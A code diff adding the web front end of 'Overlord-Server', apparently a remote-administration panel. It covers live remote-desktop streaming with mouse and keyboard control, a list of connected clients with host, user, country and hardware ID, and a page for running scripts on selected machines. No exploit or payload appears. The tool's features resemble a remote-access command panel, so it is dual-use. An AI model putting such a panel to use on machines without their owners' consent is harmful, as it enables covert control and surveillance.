+ const qualitySlider = document.getElementById("qualitySlider");
+ const qualityValue = document.getElementById("qualityValue");
+ const canvas = document.getElementById("frameCanvas");
+ const canvasContainer = document.getElementById("canvasContainer");
+ const ctx = canvas.getContext("2d");
+ const agentFps = document.getElementById("agentFps");
+ const viewerFps = document.getElementById("viewerFps");
+ const inputLatency = document.getElementById("inputLatency");
+ const statusEl = document.getElementById("streamStatus");
+ ws.binaryType = "arraybuffer";
+
+ let activeClientId = clientId;
+ let renderCount = 0;
+ let renderWindowStart = performance.now();
+ let lastFrameAt = 0;
+ let desiredStreaming = false;
+ let streamState = "connecting";
+ let frameWatchTimer = null;
+ let offlineTimer = null;
+ let frameWidth = 0;
+ let frameHeight = 0;
+ let latencyAvg = null;
+ let smoothingPct = 20;
+ let smoothPoint = null;
+ let pendingMove = null;
+ let moveTimer = null;
+ const mouseMoveIntervalMs = 33;
+ const inputBackpressureBytes = 256 * 1024;
+ let lastMoveSentAt = 0;
+ setStreamState("connecting", "Connecting");
+
+ function updateFpsDisplay(agentValue) {
+ if (agentValue !== undefined && agentValue !== null && agentFps) {
+ agentFps.textContent = String(agentValue);
+ }
+ const now = performance.now();
+ renderCount += 1;
+ const elapsed = now - renderWindowStart;
+ if (elapsed >= 1000 && viewerFps) {
+ const fps = Math.round((renderCount * 1000) / elapsed);
+ viewerFps.textContent = String(fps);
+ renderCount = 0;
+ renderWindowStart = now;
+ }
+ }
+
+ function setStreamState(state, text) {
+ streamState = state;
+ if (statusEl) {
+ const icons = {
+ connecting: ' ',
+ starting: ' ',
+ stopping: ' ',
+ streaming: ' ',
+ idle: ' ',
+ stalled: ' ',
+ offline: ' ',
+ disconnected: ' ',
+ error: ' ',
+ };
+ const label = text ||
+ (state === "streaming" ? "Streaming" :
+ state === "starting" ? "Starting" :
+ state === "stopping" ? "Stopping" :
+ state === "offline" ? "Client offline" :
+ state === "disconnected" ? "Disconnected" :
+ state === "stalled" ? "No frames" :
+ state === "idle" ? "Stopped" :
+ "Connecting");
+
+ statusEl.innerHTML = `${icons[state] || icons.idle} ${label} `;
+ const base = "inline-flex items-center gap-2 px-3 py-2 rounded-full border text-sm";
+ const styles = {
+ streaming: "bg-emerald-900/40 text-emerald-100 border-emerald-700/70",
+ starting: "bg-sky-900/40 text-sky-100 border-sky-700/70",
+ stopping: "bg-amber-900/40 text-amber-100 border-amber-700/70",
+ stalled: "bg-amber-900/40 text-amber-100 border-amber-700/70",
+ offline: "bg-rose-900/40 text-rose-100 border-rose-700/70",
+ error: "bg-rose-900/40 text-rose-100 border-rose-700/70",
+ disconnected: "bg-slate-800 text-slate-300 border-slate-700",
+ idle: "bg-slate-800 text-slate-300 border-slate-700",
+ connecting: "bg-slate-800 text-slate-300 border-slate-700",
+ };
+ statusEl.className = `${base} ${styles[state] || styles.idle}`;
+ }
+
+ if (canvasContainer) {
+ canvasContainer.dataset.streamState = state;
+ }
+
+ if (state === "idle" || state === "offline" || state === "disconnected" || state === "error") {
+ if (agentFps) agentFps.textContent = "--";
+ if (viewerFps) viewerFps.textContent = "--";
+ renderCount = 0;
+ renderWindowStart = performance.now();
+ }
+
+ updateControls();
+ }
+
+ function updateControls() {
+ const wsOpen = ws.readyState === WebSocket.OPEN;
+ const isStarting = streamState === "starting";
+ const isStreaming = streamState === "streaming";
+ const isStopping = streamState === "stopping";
+ const isStalled = streamState === "stalled";
+ const isBlocked = streamState === "offline" || streamState === "disconnected" || streamState === "error";
+
+ if (startBtn) {
+ startBtn.disabled = !wsOpen || isStarting || isStreaming || isStopping || isBlocked;
+ }
+ if (stopBtn) {
+ stopBtn.disabled = !wsOpen || (!isStarting && !isStreaming && !isStopping && !isStalled);
+ }
+ }
+
+ function updateLatency(ms) {
+ if (ms < 0 || !Number.isFinite(ms)) return;
+ latencyAvg = latencyAvg == null ? ms : latencyAvg * 0.8 + ms * 0.2;
+ if (inputLatency) {
+ inputLatency.textContent = `${Math.round(latencyAvg)} ms`;
+ }
+ }
+
+ function clearOfflineTimer() {
+ if (offlineTimer) {
+ clearTimeout(offlineTimer);
+ offlineTimer = null;
+ }
+ }
+
+ function scheduleOffline(reason) {
+ clearOfflineTimer();
+ setStreamState("connecting", "Reconnecting");
+ offlineTimer = setTimeout(() => {
+ const now = performance.now();
+ if (!lastFrameAt || now - lastFrameAt > 3000) {
+ desiredStreaming = false;
+ setStreamState("offline", reason || "Client offline");
+ }
+ }, 3000);
+ }
+
+ function handleStatus(msg) {
+ if (!msg || msg.type !== "status" || !msg.status) return;
+ if (msg.status === "offline") {
+ scheduleOffline(msg.reason);
+ return;
+ }
+ if (msg.status === "connecting") {
+ clearOfflineTimer();
+ setStreamState("connecting", "Connecting");
+ return;
+ }
+ if (msg.status === "online") {
+ clearOfflineTimer();
+ if (desiredStreaming) {
+ setStreamState("starting", "Reconnecting");
+ if (displaySelect && displaySelect.value !== undefined) {
+ sendCmd("desktop_select_display", {
+ display: parseInt(displaySelect.value, 10) || 0,
+ });
+ }
+ sendCmd("desktop_start", {});
+ } else {
+ setStreamState("idle", "Stopped");
+ }
+ }
+ }
+
+ function sendCmd(type, payload) {
+ if (!activeClientId) {
+ console.warn("No active client selected");
+ return;
+ }
+ if (ws.readyState !== WebSocket.OPEN) {
+ return;
+ }
+ const msg = { type, ...payload };
+ console.debug("rd: send", msg);
+ ws.send(encodeMsgpack(msg));
+ }
+
+ let monitors = 1;
+
+ function populateDisplays(count, monitorInfo) {
+ displaySelect.innerHTML = "";
+ const infoList = Array.isArray(monitorInfo) ? monitorInfo : null;
+ monitors = (infoList && infoList.length) ? infoList.length : (count || 1);
+ for (let i = 0; i < monitors; i++) {
+ const opt = document.createElement("option");
+ opt.value = i;
+ const info = infoList && infoList[i];
+ const w = info && Number(info.width);
+ const h = info && Number(info.height);
+ const sizeLabel = w > 0 && h > 0 ? ` (${w}x${h})` : "";
+ opt.textContent = "Display " + (i + 1) + sizeLabel;
+ displaySelect.appendChild(opt);
+ }
+
+ if (displaySelect.options.length) {
+ displaySelect.value = displaySelect.options[0].value;
+ }
+ }
+
+ async function fetchClientInfo() {
+ try {
+ const res = await fetch("/api/clients");
+ const data = await res.json();
+ const client = data.items.find((c) => c.id === activeClientId);
+ if (client) {
+ clientLabel.textContent = `${client.host || client.id} (${client.os || ""})`;
+ }
+ if (client) {
+ populateDisplays(client.monitors, client.monitorInfo);
+ }
+ if (duplicationCtrl) {
+ const os = (client?.os || "").toLowerCase();
+ const isWindows = os.includes("windows") || os.includes("win");
+ duplicationCtrl.disabled = !isWindows;
+ if (!isWindows) {
+ duplicationCtrl.checked = false;
+ }
+ }
+ } catch (e) {
+ console.warn("failed to fetch client info", e);
+ }
+ }
+
+ refreshBtn.addEventListener("click", fetchClientInfo);
+
+ function updateQualityLabel(val) {
+ if (qualityValue) {
+ qualityValue.textContent = `${val}%`;
+ }
+ }
+
+ function updateSmoothingLabel(val) {
+ if (smoothingValue) {
+ smoothingValue.textContent = `${val}%`;
+ }
+ }
+
+ function pushQuality(val) {
+ const q = Number(val) || 90;
+ const codec = q >= 100 ? "raw" : "jpeg";
+ console.debug("rd: pushQuality val=", val, "q=", q, "codec=", codec);
+ sendCmd("desktop_set_quality", { quality: q, codec });
+ }
+
+ displaySelect.addEventListener("change", function () {
+ console.debug("rd: select display", displaySelect.value);
+ sendCmd("desktop_select_display", {
+ display: parseInt(displaySelect.value, 10),
+ });
+ });
+
+ startBtn.addEventListener("click", function () {
+ if (displaySelect && displaySelect.value !== undefined) {
+ sendCmd("desktop_select_display", {
+ display: parseInt(displaySelect.value, 10) || 0,
+ });
+ }
+ if (qualitySlider) {
+ pushQuality(qualitySlider.value);
+ }
+ desiredStreaming = true;
+ lastFrameAt = 0;
+ setStreamState("starting", "Starting stream");
+ sendCmd("desktop_start", {});
+ });
+ stopBtn.addEventListener("click", function () {
+ desiredStreaming = false;
+ setStreamState("stopping", "Stopping stream");
+ sendCmd("desktop_stop", {});
+ });
+ fullscreenBtn.addEventListener("click", function () {
+ if (canvasContainer.requestFullscreen) {
+ canvasContainer.requestFullscreen();
+ } else if (canvasContainer.webkitRequestFullscreen) {
+ canvasContainer.webkitRequestFullscreen();
+ } else if (canvasContainer.mozRequestFullScreen) {
+ canvasContainer.mozRequestFullScreen();
+ }
+ });
+ if (mouseCtrl) {
+ mouseCtrl.checked = false;
+ }
+ if (kbdCtrl) {
+ kbdCtrl.checked = false;
+ }
+ if (duplicationCtrl) {
+ duplicationCtrl.checked = false;
+ }
+
+ function pushInputToggles() {
+ if (mouseCtrl) {
+ sendCmd("desktop_enable_mouse", { enabled: !!mouseCtrl.checked });
+ }
+ if (kbdCtrl) {
+ sendCmd("desktop_enable_keyboard", { enabled: !!kbdCtrl.checked });
+ }
+ }
+
+ function pushCaptureToggles() {
+ if (cursorCtrl) {
+ sendCmd("desktop_enable_cursor", { enabled: cursorCtrl.checked });
+ }
+ if (duplicationCtrl && !duplicationCtrl.disabled) {
+ sendCmd("desktop_set_duplication", { enabled: !!duplicationCtrl.checked });
+ }
+ }
+
+ mouseCtrl.addEventListener("change", function () {
+ pushInputToggles();
+ });
+ kbdCtrl.addEventListener("change", function () {
+ if (kbdCtrl.checked) {
+ canvas.focus();
+ }
+ pushInputToggles();
+ });
+ cursorCtrl.addEventListener("change", function () {
+ pushCaptureToggles();
+ });
+ if (duplicationCtrl) {
+ duplicationCtrl.addEventListener("change", function () {
+ pushCaptureToggles();
+ });
+ }
+
+ if (qualitySlider) {
+ updateQualityLabel(qualitySlider.value);
+ qualitySlider.addEventListener("input", function () {
+ updateQualityLabel(qualitySlider.value);
+ pushQuality(qualitySlider.value);
+ });
+ }
+
+ if (smoothingSlider) {
+ updateSmoothingLabel(smoothingSlider.value);
+ smoothingSlider.addEventListener("input", function () {
+ smoothingPct = Number(smoothingSlider.value) || 0;
+ updateSmoothingLabel(smoothingSlider.value);
+ });
+ }
+
+ ws.addEventListener("message", async function (ev) {
+ if (ev.data instanceof ArrayBuffer) {
+ const buf = new Uint8Array(ev.data);
+ if (buf.length >= 8 && buf[0] === 0x46 && buf[1] === 0x52 && buf[2] === 0x4d) {
+ const fps = buf[5];
+ const format = buf[6];
+ lastFrameAt = performance.now();
+ clearOfflineTimer();
+ if (streamState !== "streaming") {
+ if (desiredStreaming) {
+ setStreamState("streaming", "Streaming");
+ }
+ }
+
+ if (format === 1) {
+ const jpegBytes = buf.slice(8);
+ const blob = new Blob([jpegBytes], { type: "image/jpeg" });
+ try {
+ const bitmap = await createImageBitmap(blob);
+ frameWidth = bitmap.width || frameWidth;
+ frameHeight = bitmap.height || frameHeight;
+ canvas.width = bitmap.width;
+ canvas.height = bitmap.height;
+ ctx.drawImage(bitmap, 0, 0);
+ bitmap.close();
+ updateFpsDisplay(fps);
+ } catch {
+ const img = new Image();
+ const url = URL.createObjectURL(blob);
+ img.onload = function () {
+ frameWidth = img.width || frameWidth;
+ frameHeight = img.height || frameHeight;
+ canvas.width = img.width;
+ canvas.height = img.height;
+ ctx.drawImage(img, 0, 0);
+ URL.revokeObjectURL(url);
+ updateFpsDisplay(fps);
+ };
+ img.src = url;
+ }
+ return;
+ }
+
+ if (format === 2 || format === 3) {
+ if (buf.length < 8 + 8) return;
+ const dv = new DataView(buf.buffer, 8);
+ let pos = 0;
+ const width = dv.getUint16(pos, true);
+ pos += 2;
+ const height = dv.getUint16(pos, true);
+ pos += 2;
+ if (width > 0 && height > 0) {
+ frameWidth = width;
+ frameHeight = height;
+ }
+ const blockCount = dv.getUint16(pos, true);
+ pos += 2;
+ pos += 2;
+
+ if (
+ width > 0 &&
+ height > 0 &&
+ (canvas.width !== width || canvas.height !== height)
+ ) {
+ canvas.width = width;
+ canvas.height = height;
+ }
+ for (let i = 0; i < blockCount; i++) {
+ if (pos + 12 > dv.byteLength) break;
+ const x = dv.getUint16(pos, true);
+ pos += 2;
+ const y = dv.getUint16(pos, true);
+ pos += 2;
+ const w = dv.getUint16(pos, true);
+ pos += 2;
+ const h = dv.getUint16(pos, true);
+ pos += 2;
+ const len = dv.getUint32(pos, true);
+ pos += 4;
+ const start = 8 + pos;
+ const end = start + len;
+ if (end > buf.length) break;
+ const slice = buf.subarray(start, end);
+ pos += len;
+ if (format === 2) {
+ try {
+ const bitmap = await createImageBitmap(
+ new Blob([slice], { type: "image/jpeg" }),
+ );
+ ctx.drawImage(bitmap, x, y, w, h);
+ bitmap.close();
+ } catch {}
+ } else {
+ if (slice.length === w * h * 4) {
+ const imgData = new ImageData(new Uint8ClampedArray(slice), w, h);
+ ctx.putImageData(imgData, x, y);
+ }
+ }
+ }
+ updateFpsDisplay(fps);
+ return;
+ }
+ }
+
+ const msg = decodeMsgpack(buf);
+ if (msg && msg.type === "status" && msg.status) {
+ handleStatus(msg);
+ return;
+ }
+ if (msg && msg.type === "input_latency") {
+ updateLatency(Number(msg.ms) || 0);
+ return;
+ }
+ return;
+ }
+
+ const msg = decodeMsgpack(ev.data);
+ if (msg && msg.type === "status" && msg.status) {
+ handleStatus(msg);
+ return;
+ }
+ if (msg && msg.type === "input_latency") {
+ updateLatency(Number(msg.ms) || 0);
+ return;
+ }
+ });
+
+ ws.addEventListener("open", function () {
+ if (qualitySlider) {
+ pushQuality(qualitySlider.value);
+ }
+ pushInputToggles();
+ pushCaptureToggles();
+ clearOfflineTimer();
+ setStreamState("idle", "Stopped");
+ fetchClientInfo().then(() => {
+ if (displaySelect && displaySelect.value) {
+ console.debug("rd: initial select display", displaySelect.value);
+ sendCmd("desktop_select_display", {
+ display: parseInt(displaySelect.value, 10),
+ });
+ }
+ });
+ });
+
+ ws.addEventListener("close", function () {
+ desiredStreaming = false;
+ setStreamState("disconnected", "Disconnected");
+ });
+
+ ws.addEventListener("error", function () {
+ setStreamState("error", "WebSocket error");
+ });
+
+ if (!frameWatchTimer) {
+ frameWatchTimer = setInterval(() => {
+ const now = performance.now();
+ if (desiredStreaming) {
+ if (lastFrameAt && now - lastFrameAt > 2000) {
+ setStreamState("stalled", "No frames");
+ } else if (!lastFrameAt && streamState === "starting") {
+ setStreamState("starting", "Starting stream");
+ }
+ } else if (streamState !== "offline" && streamState !== "disconnected" && streamState !== "error") {
+ if (lastFrameAt && now - lastFrameAt < 2000) {
+ if (streamState !== "stopping") {
+ setStreamState("stopping", "Stopping stream");
+ }
+ } else if (streamState !== "idle") {
+ setStreamState("idle", "Stopped");
+ }
+ }
+ }, 1000);
+ }
+
+ function getCanvasPoint(e) {
+ let rect = canvas.getBoundingClientRect();
+ if (!rect.width || !rect.height) {
+ rect = canvasContainer?.getBoundingClientRect() || rect;
+ }
+ const targetW = canvas.width || frameWidth;
+ const targetH = canvas.height || frameHeight;
+ if (!rect.width || !rect.height || !targetW || !targetH) return null;
+ let x = ((e.clientX - rect.left) / rect.width) * targetW;
+ let y = ((e.clientY - rect.top) / rect.height) * targetH;
+ if (!Number.isFinite(x) || !Number.isFinite(y)) return null;
+ x = Math.max(0, Math.min(targetW - 1, Math.floor(x)));
+ y = Math.max(0, Math.min(targetH - 1, Math.floor(y)));
+ return { x, y };
+ }
+
+ function flushMouseMove() {
+ moveTimer = null;
+ if (!pendingMove || !mouseCtrl.checked) return;
+ const now = performance.now();
+ if (!smoothPoint) {
+ smoothPoint = { x: pendingMove.x, y: pendingMove.y };
+ }
+ const factor = Math.max(0, Math.min(0.8, smoothingPct / 100));
+ const alpha = 1 - factor;
+ smoothPoint.x += (pendingMove.x - smoothPoint.x) * alpha;
+ smoothPoint.y += (pendingMove.y - smoothPoint.y) * alpha;
+
+ const sendPoint = {
+ x: Math.round(smoothPoint.x),
+ y: Math.round(smoothPoint.y),
+ };
+
+ if (now - lastMoveSentAt < mouseMoveIntervalMs) {
+ if (!moveTimer) {
+ moveTimer = setTimeout(flushMouseMove, mouseMoveIntervalMs);
+ }
+ return;
+ }
+
+ lastMoveSentAt = now;
+ if (ws.bufferedAmount <= inputBackpressureBytes) {
+ sendCmd("mouse_move", sendPoint);
+ }
+ }
+
+ canvas.addEventListener("mousemove", function (e) {
+ if (!mouseCtrl.checked) return;
+ const pt = getCanvasPoint(e);
+ if (!pt) return;
+ pendingMove = pt;
+ if (!moveTimer) {
+ flushMouseMove();
+ }
+ });
+ canvas.addEventListener("mousedown", function (e) {
+ if (!mouseCtrl.checked) return;
+ canvas.focus();
+ const pt = getCanvasPoint(e);
+ if (pt) {
+ pendingMove = pt;
+ smoothPoint = { x: pt.x, y: pt.y };
+ sendCmd("mouse_move", pt);
+ }
+ sendCmd("mouse_down", { button: e.button, ...(pt || {}) });
+ e.preventDefault();
+ });
+ canvas.addEventListener("mouseup", function (e) {
+ if (!mouseCtrl.checked) return;
+ const pt = getCanvasPoint(e);
+ if (pt) {
+ pendingMove = pt;
+ smoothPoint = { x: pt.x, y: pt.y };
+ sendCmd("mouse_move", pt);
+ }
+ sendCmd("mouse_up", { button: e.button, ...(pt || {}) });
+ e.preventDefault();
+ });
+ canvas.addEventListener("contextmenu", function (e) {
+ e.preventDefault();
+ });
+
+ canvas.setAttribute("tabindex", "0");
+ canvas.addEventListener("click", function () {
+ canvas.focus();
+ });
+ canvas.addEventListener("keydown", function (e) {
+ if (!kbdCtrl.checked) return;
+ if (!e.ctrlKey && !e.metaKey && !e.altKey && typeof e.key === "string" && e.key.length === 1) {
+ sendCmd("text_input", { text: e.key });
+ e.preventDefault();
+ return;
+ }
+ sendCmd("key_down", { key: e.key, code: e.code });
+ e.preventDefault();
+ });
+ canvas.addEventListener("keyup", function (e) {
+ if (!kbdCtrl.checked) return;
+ if (!e.ctrlKey && !e.metaKey && !e.altKey && typeof e.key === "string" && e.key.length === 1) {
+ e.preventDefault();
+ return;
+ }
+ sendCmd("key_up", { key: e.key, code: e.code });
+ e.preventDefault();
+ });
+
+ function stopOnExit() {
+ if (ws.readyState === WebSocket.OPEN && desiredStreaming) {
+ desiredStreaming = false;
+ sendCmd("desktop_stop", {});
+ }
+ }
+
+ window.addEventListener("beforeunload", stopOnExit);
+ window.addEventListener("pagehide", stopOnExit);
+
+ fetchClientInfo();
+})();
diff --git a/Overlord-Server/public/assets/render.js b/Overlord-Server/public/assets/render.js
new file mode 100644
index 0000000..9675641
--- /dev/null
+++ b/Overlord-Server/public/assets/render.js
@@ -0,0 +1,292 @@
+import {
+ formatAgo,
+ formatPing,
+ countryToFlag,
+ osBadge,
+ archBadge,
+ versionBadge,
+ monitorsBadge,
+ shortId,
+} from "./viewUtils.js";
+
+function escapeHtml(text) {
+ const div = document.createElement("div");
+ div.textContent = text;
+ return div.innerHTML;
+}
+
+export function createRenderer({
+ grid,
+ totalPill,
+ pageLabel,
+ openMenu,
+ openModal,
+ requestPreview,
+ requestThumbnail,
+ userRole,
+}) {
+ const isViewer = userRole === "viewer";
+ const MAX_ANIMATED_CARDS = 120;
+ const INSERT_BATCH_SIZE = 40;
+ let renderToken = 0;
+
+ function renderMerge(data) {
+ totalPill.textContent = `${data.online ?? data.total} online / ${data.total} total`;
+ const totalPages = Math.max(1, Math.ceil(data.total / data.pageSize));
+ pageLabel.textContent = `Page ${data.page} of ${totalPages}`;
+ prevBtnState(data.page, totalPages);
+
+ const items = data.items || [];
+ const seen = new Set();
+ const newClients = [];
+ const renderId = ++renderToken;
+ const prefersReducedMotion =
+ typeof window !== "undefined" &&
+ window.matchMedia &&
+ window.matchMedia("(prefers-reduced-motion: reduce)").matches;
+ const animateLimit = Math.min(items.length, MAX_ANIMATED_CARDS);
+ const allowAnimation = !prefersReducedMotion && items.length <= 1000;
+
+ items.forEach((client) => {
+ seen.add(client.id);
+ const existing = grid.querySelector(`article[data-id="${client.id}"]`);
+ if (existing) {
+ updateCard(existing, client);
+ return;
+ }
+ newClients.push(client);
+ });
+
+ Array.from(grid.querySelectorAll("article[data-id]"))
+ .filter((el) => !seen.has(el.dataset.id))
+ .forEach((el) => el.remove());
+
+ if (newClients.length === 0) {
+ moveOfflineToBottom();
+ return;
+ }
+
+ let idx = 0;
+ const insertBatch = () => {
+ if (renderId !== renderToken) return;
+ const fragment = document.createDocumentFragment();
+ for (
+ let batch = 0;
+ batch < INSERT_BATCH_SIZE && idx < newClients.length;
+ batch++, idx++
+ ) {
+ const client = newClients[idx];
+ const shouldAnimate = allowAnimation && idx < animateLimit;
+ const card = buildCard(client, {
+ animate: shouldAnimate,
+ delayIndex: idx,
+ });
+ fragment.appendChild(card);
+ }
+ grid.appendChild(fragment);
+ if (idx < newClients.length) {
+ requestAnimationFrame(insertBatch);
+ return;
+ }
+
+ moveOfflineToBottom();
+ };
+
+ insertBatch();
+ }
+
+ function moveOfflineToBottom() {
+ const cards = Array.from(grid.querySelectorAll("article[data-id]"));
+ if (cards.length === 0) return;
+
+ const online = [];
+ const offline = [];
+ cards.forEach((card) => {
+ if (card.dataset.online === "true") {
+ online.push(card);
+ return;
+ }
+ offline.push(card);
+ });
+
+ if (offline.length === 0) return;
+
+ const fragment = document.createDocumentFragment();
+ online.forEach((card) => fragment.appendChild(card));
+ offline.forEach((card) => fragment.appendChild(card));
+ grid.appendChild(fragment);
+ }
+
+ function prevBtnState(currentPage, totalPages) {
+ const prevBtn = document.getElementById("prev");
+ const nextBtn = document.getElementById("next");
+ if (prevBtn) prevBtn.disabled = currentPage <= 1;
+ if (nextBtn) nextBtn.disabled = currentPage >= totalPages;
+ }
+
+ function buildCard(client, options = {}) {
+ const card = document.createElement("article");
+ card.dataset.id = client.id;
+ card.dataset.hwid = client.hwid || "";
+ updateCard(card, client);
+ card.addEventListener("contextmenu", (e) => {
+ e.preventDefault();
+ if (isViewer) return;
+ const isOnline = card.dataset.online === "true";
+ if (!isOnline) return;
+ const clientId = card.dataset.id;
+ if (!clientId) return;
+ const { clientX, clientY } = e;
+ openMenu(clientId, clientX, clientY);
+ });
+
+ if (options.animate) {
+ card.classList.add("card-animate");
+ card.style.animationDelay = `${(options.delayIndex || 0) * 0.05}s`;
+ card.style.opacity = "0";
+ card.style.transform = "translateY(10px)";
+ if (typeof anime !== "undefined") {
+ requestAnimationFrame(() => {
+ anime({
+ targets: card,
+ opacity: [0, 1],
+ translateY: [10, 0],
+ duration: 400,
+ easing: "easeOutQuad",
+ });
+ });
+ }
+ }
+
+ return card;
+ }
+
+ function updateCard(card, client) {
+ const oldCheckbox = card.querySelector(".client-checkbox");
+ const wasChecked = oldCheckbox?.checked || false;
+
+ card.dataset.online = String(!!client.online);
+ const os = osBadge(client.os || "unknown");
+ const arch = archBadge(client.arch || "");
+ const ver = versionBadge(client.version || "");
+ const mons = monitorsBadge(client.monitors);
+ const deviceId = shortId(client.id);
+ const hwid = shortId(client.hwid || "");
+ card.className = `card rounded-xl border border-slate-800 bg-slate-900/70 p-4 shadow-lg ${client.online ? "" : "card-offline"} tone-${os.tone}`;
+ const cardThumb = client.thumbnail
+ ? (() => {
+ const wrapper = document.createElement("div");
+ wrapper.className = "flex-shrink-0";
+ const img = document.createElement("img");
+ img.className =
+ "w-40 h-24 rounded-lg border border-slate-800 object-cover cursor-pointer thumb-img";
+ img.alt = "preview";
+ img.src = client.thumbnail;
+ wrapper.appendChild(img);
+ return wrapper;
+ })()
+ : (() => {
+ const wrapper = document.createElement("div");
+ wrapper.className = "flex-shrink-0";
+ wrapper.innerHTML = `
`;
+ return wrapper;
+ })();
+
+ card.innerHTML = `
+
+
+
+
+
+
+
+ ${countryToFlag(client.country)}
+ ${escapeHtml(client.host || deviceId)}
+ ${escapeHtml(client.user || "unknown")}
+
+
+ ${client.online ? "Online" : "Offline"}
+
+
+
+ ${formatAgo(client.lastSeen)}
+ ${os.label}
+ ${arch.label}
+ ${ver.label}
+ ${mons.label}
+
+
+ ID ${deviceId}
+ ${client.hwid ? `HW ${hwid} ` : ""}
+
+
+
+ ${formatPing(client.pingMs)}
+ ${isViewer ? "" : ` Commands `}
+ ${isViewer ? "" : ` Ban `}
+
+
+ `;
+
+ const thumbSlots = card.querySelectorAll(".flex-shrink-0");
+ if (thumbSlots.length >= 2) {
+ thumbSlots[1].replaceWith(cardThumb);
+ }
+
+ const checkbox = card.querySelector(".client-checkbox");
+ if (checkbox) {
+ const isSelected =
+ typeof window.isClientSelected === "function"
+ ? window.isClientSelected(client.id)
+ : false;
+
+ if ((wasChecked || isSelected) && client.online) {
+ checkbox.checked = true;
+ }
+
+ checkbox.addEventListener("change", (e) => {
+ e.stopPropagation();
+ if (window.toggleClientSelection) {
+ window.toggleClientSelection(client.id);
+ }
+ });
+ }
+
+ if (!isViewer) {
+ card.querySelector(".command-btn")?.addEventListener("click", (e) => {
+ e.stopPropagation();
+ const rect = e.currentTarget.getBoundingClientRect();
+ openMenu(client.id, rect.right, rect.bottom);
+ });
+ card.querySelector(".ban-btn")?.addEventListener("click", (e) => {
+ e.stopPropagation();
+ if (window.banClient) {
+ window.banClient(client.id);
+ }
+ });
+ }
+
+ card
+ .querySelector(".thumb-img")
+ ?.addEventListener("click", () => openModal(client.thumbnail));
+
+ card.onclick = (e) => {
+ if (e.target.closest(".command-btn") || e.target.closest("button"))
+ return;
+ if (e.target.closest(".client-checkbox")) return;
+ if (e.ctrlKey || e.metaKey || e.shiftKey) {
+ if (checkbox && !checkbox.disabled) {
+ checkbox.checked = !checkbox.checked;
+ if (window.toggleClientSelection) {
+ window.toggleClientSelection(client.id);
+ }
+ }
+ return;
+ }
+ if (!client.online) return;
+ requestThumbnail(client.id);
+ };
+ }
+
+ return { renderMerge };
+}
diff --git a/Overlord-Server/public/assets/ripple.js b/Overlord-Server/public/assets/ripple.js
new file mode 100644
index 0000000..f45683b
--- /dev/null
+++ b/Overlord-Server/public/assets/ripple.js
@@ -0,0 +1,32 @@
+function addRippleEffect(element) {
+ element.classList.add("ripple");
+
+ element.addEventListener("click", function (e) {
+ this.classList.remove("ripple-active");
+
+ const rect = this.getBoundingClientRect();
+ const x = e.clientX - rect.left;
+ const y = e.clientY - rect.top;
+
+ this.style.setProperty("--x", x + "px");
+ this.style.setProperty("--y", y + "px");
+
+ void this.offsetWidth;
+
+ this.classList.add("ripple-active");
+
+ setTimeout(() => {
+ this.classList.remove("ripple-active");
+ }, 600);
+ });
+}
+
+document.addEventListener("DOMContentLoaded", () => {
+ document
+ .querySelectorAll("button:not(.no-ripple), .button:not(.no-ripple)")
+ .forEach((btn) => {
+ addRippleEffect(btn);
+ });
+});
+
+window.addRippleEffect = addRippleEffect;
diff --git a/Overlord-Server/public/assets/scripts.js b/Overlord-Server/public/assets/scripts.js
new file mode 100644
index 0000000..0967de7
--- /dev/null
+++ b/Overlord-Server/public/assets/scripts.js
@@ -0,0 +1,621 @@
+const clientList = document.getElementById("client-list");
+const clientSearch = document.getElementById("client-search");
+const osFilter = document.getElementById("os-filter");
+const selectAllBtn = document.getElementById("select-all-btn");
+const clearSelectionBtn = document.getElementById("clear-selection-btn");
+const selectedCountSpan = document.getElementById("selected-count");
+const scriptEditor = document.getElementById("script-editor");
+const scriptType = document.getElementById("script-type");
+const executeBtn = document.getElementById("execute-btn");
+const outputContainer = document.getElementById("output-container");
+const clearOutputBtn = document.getElementById("clear-output-btn");
+const scriptSaveName = document.getElementById("script-save-name");
+const saveScriptBtn = document.getElementById("save-script-btn");
+const savedScriptsList = document.getElementById("saved-scripts-list");
+const autoTaskName = document.getElementById("auto-task-name");
+const autoTaskTrigger = document.getElementById("auto-task-trigger");
+const autoTaskSaveBtn = document.getElementById("auto-task-save-btn");
+const autoTaskCancelBtn = document.getElementById("auto-task-cancel-btn");
+const autoTaskList = document.getElementById("auto-task-list");
+
+let allClients = [];
+let filteredClients = [];
+const selectedClients = new Set();
+const SAVED_SCRIPTS_KEY = "overlord_saved_scripts";
+let autoTasks = [];
+let autoTaskEditingId = null;
+let editorInstance = null;
+
+const EDITOR_MODES = {
+ powershell: "powershell",
+ bash: "shell",
+ cmd: "shell",
+ python: "python",
+ sh: "shell",
+};
+
+function getEditorValue() {
+ if (editorInstance) return editorInstance.getValue();
+ return scriptEditor?.value || "";
+}
+
+function setEditorValue(value) {
+ if (editorInstance) {
+ editorInstance.setValue(value);
+ return;
+ }
+ if (scriptEditor) scriptEditor.value = value;
+}
+
+function setEditorMode(type) {
+ if (!editorInstance) return;
+ const mode = EDITOR_MODES[type] || "powershell";
+ editorInstance.setOption("mode", mode);
+}
+
+async function checkAuth() {
+ try {
+ const res = await fetch("/api/auth/me");
+ if (!res.ok) {
+ window.location.href = "/login.html";
+ return;
+ }
+
+ const data = await res.json();
+ document.getElementById("username-display").textContent = data.username;
+
+ const roleBadge = document.getElementById("role-badge");
+ const roleBadges = {
+ admin: ' Admin',
+ operator: ' Operator',
+ viewer: ' Viewer',
+ };
+ if (roleBadges[data.role]) {
+ roleBadge.innerHTML = roleBadges[data.role];
+ } else {
+ roleBadge.textContent = data.role || "";
+ }
+
+ if (data.role === "admin") {
+ roleBadge.classList.add(
+ "bg-purple-900/50",
+ "text-purple-300",
+ "border",
+ "border-purple-800",
+ );
+ } else if (data.role === "operator") {
+ roleBadge.classList.add(
+ "bg-blue-900/50",
+ "text-blue-300",
+ "border",
+ "border-blue-800",
+ );
+ } else {
+ roleBadge.classList.add(
+ "bg-slate-700",
+ "text-slate-300",
+ "border",
+ "border-slate-600",
+ );
+ }
+
+ if (data.role === "admin") {
+ document.getElementById("metrics-link")?.classList.remove("hidden");
+ document.getElementById("scripts-link")?.classList.remove("hidden");
+ document.getElementById("build-link")?.classList.remove("hidden");
+ document.getElementById("deploy-link")?.classList.remove("hidden");
+ document.getElementById("users-link")?.classList.remove("hidden");
+ document.getElementById("plugins-link")?.classList.remove("hidden");
+ } else if (data.role === "operator") {
+ document.getElementById("metrics-link")?.classList.remove("hidden");
+ document.getElementById("scripts-link")?.classList.remove("hidden");
+ document.getElementById("build-link")?.classList.remove("hidden");
+ }
+
